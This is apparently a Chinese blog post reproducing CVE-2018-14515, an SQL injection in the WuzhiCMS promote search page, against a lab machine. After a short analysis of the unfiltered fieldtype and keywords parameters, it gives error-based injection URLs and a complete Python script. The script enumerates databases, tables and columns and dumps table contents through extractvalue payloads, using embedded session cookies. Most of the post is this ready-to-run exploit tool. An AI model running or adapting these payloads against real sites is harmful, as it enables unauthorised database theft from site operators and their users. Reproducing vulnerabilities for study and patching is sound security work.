cve-2018-14515复现

一、环境

Windows NT WIN-RRI9T9SN85D 6.1 build 7600 (Windows 7 Business Edition) i586

Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45

靶机:192.168.16.129

攻击机:192.168.16.127

二、漏洞分析

在search函数内,首先判断page变量是否已定义,若未定义,将处理后的全局变量赋值给局部变量page,然后将局部变量page与1比较大小,然后将全局变量fieldtype和keywords分别赋值给局部变量fieldtype和keywords。在判断fieldtype的值,在做相应连接数据库的操作。

代码未对传入进来的参数做相应的过滤,通过覆盖全局变量的方式,即可插入恶意代码,达到脱库的目的。

三、利用

注册用户,进入后台后利用http://192.168.116.129/ index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=’可以发现单引号未被过滤,利用http://192.168.116.129/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select database())))%23即可(图忘记截了,就不放图了)。

下面利用python脚本直接爆库,先放效果图:

直接上代码(环境:python3.6):

#author:windy_ll
import requests
from bs4 import BeautifulSoup
from optparse import OptionParser

url = 'http://192.168.116.129:8000'
header = {
'Host': '192.168.116.129:8000',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cookie': 'PHPSESSID=1dhmdr31qhf21qeccbthsjtkk5; ReI_auth=YpulBMeZ6899eyzsh5HxUbcTdlc23iiQFSGIwpYlkLOtVPdkBc49aEAcWedq6QZ%2BaCHSr6zKJNaLYC6oDqFBzlFuZmyG9UoAvQjj5EVoP1Pa2e4uQwq86Q%3D%3D; ReI__uid=92CBGuVr6Ok2K6kWBxNbcQ%3D%3D; ReI__username=y5zrNmFTk6rooHN926QcJg%3D%3D; ReI__groupid=nAyjF%2FwRrNH%2BOMee0Fc%2Fsw%3D%3D; ReI_truename=admin; ReI_modelid=10; ReI_uid=ucD6e6GM855APZII7rll7A%3D%3D; ReI_username=2YMzaR7%2FAZU5sNME3D5XdQ%3D%3D; ReI_wz_name=z7TSlBEBFOkSFIN%2BxBxp7A%3D%3D; ReI_siteid=WxKXvTpR7lxWOkKhIDfeag%3D%3D',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'}

def get_contents(html):
    flag = 0
    nr = ''
    list = []
    soup = BeautifulSoup(html.content,'lxml')
    list = soup.find_all('h4')
    contents = list[0].span.get_text()
    for i in contents:
        if i == '~':
            flag = 1
        if flag == 1:
            if i == ',' or i == '\'':
                if i == None:
                    print(f'[+] no data')
                else:
                    print(f'[+] {nr}')
                nr = ''
                continue
            else:
                if i != '\'' and i != '~':
                    nr += str(i)

def get_columns(html):
    flag = 0
    nr = ''
    list = []
    soup = BeautifulSoup(html.content,'lxml')
    list = soup.find_all('h4')
    contents = list[0].span.get_text()
    for i in contents:
        if i == '~':
            flag = 1
        if flag == 1:
            if i == ',' or i == '\'':
                return nr
                nr = ''
                continue
            else:
                if i != '\'' and i != '~':
                    nr += str(i)
                    
def get_num(html):
    flag = 0
    nr = ''
    list = []
    soup = BeautifulSoup(html.content,'lxml')
    list = soup.find_all('h4')
    contents = list[0].span.get_text()
    for i in contents:
        if i == '~':
            flag = 1
        if flag == 1:
            if i == ',' or i == '\'':
                return nr
                nr = ''
                continue
            else:
                if i != '\'' and i != '~':
                    nr += str(i)                    
                    
def get_count(payload):
    r = requests.get(payload,headers = header)
    num = get_num(r)
    return num
    
def get_data():
    payload_count = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select count(*) from information_schema.schemata)))%23'
    num = get_count(payload_count)
    num = int(num)
    print('[*]available database:')
    for i in range(0,num):
        payload = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit ' + str(i) + ',1)))%23'
        r = requests.get(payload,headers = header)
        get_contents(r)
    print(f'[-] {num} database',end='')
        
def get_tables(data):
    payload_count = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema=\'' + str(data) + '\')))%23'
    num = get_count(payload_count)
    num = int(num)
    print(f'[*] databse {data}:')
    for i in range(0,num):
        payload = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = \'' + data + '\' limit ' + str(i) + ',1)))%23'
        r = requests.get(payload,headers = header)
        get_contents(r)
    print(f'[-] {num} tables',end='')
        
def get_column(table):
    payload_count = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select count(*) from information_schema.columns where table_name=\'' + str(table) + '\')))%23'
    num = get_count(payload_count)
    num = int(num)
    print(f'[*] table {table}:')
    for i in range(0,num):
        payload = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = \'' + str(table) + '\' limit ' + str(i) + ',1)))%23'
        r = requests.get(payload,headers = header)
        get_contents(r)
    print(f'[-] {num} columns',end='')

def get_column_name(table):
    list = []
    payload_count = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select count(*) from information_schema.columns where table_name=\'' + str(table) + '\')))%23'
    num = get_count(payload_count)
    num = int(num)
    for i in range(0,num):
        payload = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = \'' + str(table) + '\' limit ' + str(i) + ',1)))%23'
        r = requests.get(payload,headers = header)
        column = get_columns(r)
        list.append(column)
    return list

    
def get_table_dump(table):
    print(f'[*] table {table}:')
    payload_count = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select count(*) from ' + str(table) + ')))%23'
    num = get_count(payload_count)
    num = int(num)
    list = get_column_name(table)
    for column in list:
        print(f'[^] column {column}')
        for i in range(0,num):
            payload = url + '/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=%27%20and+extractvalue(1,concat(0x7e,(select ' + column + ' from ' + table + ' limit ' + str(i) + ',1)))%23'
            r = requests.get(payload,headers = header)
            get_contents(r)
    print(f'[-] {num} notes',end='')
    
def main():
    parse = OptionParser()
    parse.add_option('-D',action = 'store',type = 'string',dest = 'database',help = '列库')
    parse.add_option('-T',action = 'store',type = 'string',dest = 'table',help = '输入数据库名字')
    parse.add_option('-d',action = 'store',type = 'string',dest = 'dump',help = '输入数据表名字')
    parse.add_option('-C',action = 'store',type = 'string',dest = 'tables',help = '输入数据表名字')
    (options,args) = parse.parse_args()
    if options.database:
        get_data()
    if options.table:
        data = options.table
        data = str(data)
        get_tables(data)
    if options.dump:
        table = options.dump
        get_table_dump(str(table))
    if options.tables:
        table = options.tables
        get_column(str(table))
main()

(使用脚本前将cookie换成你自己的)

posted @ 2018-12-28 00:54  windy_ll  阅读(575)  评论(0编辑  收藏  举报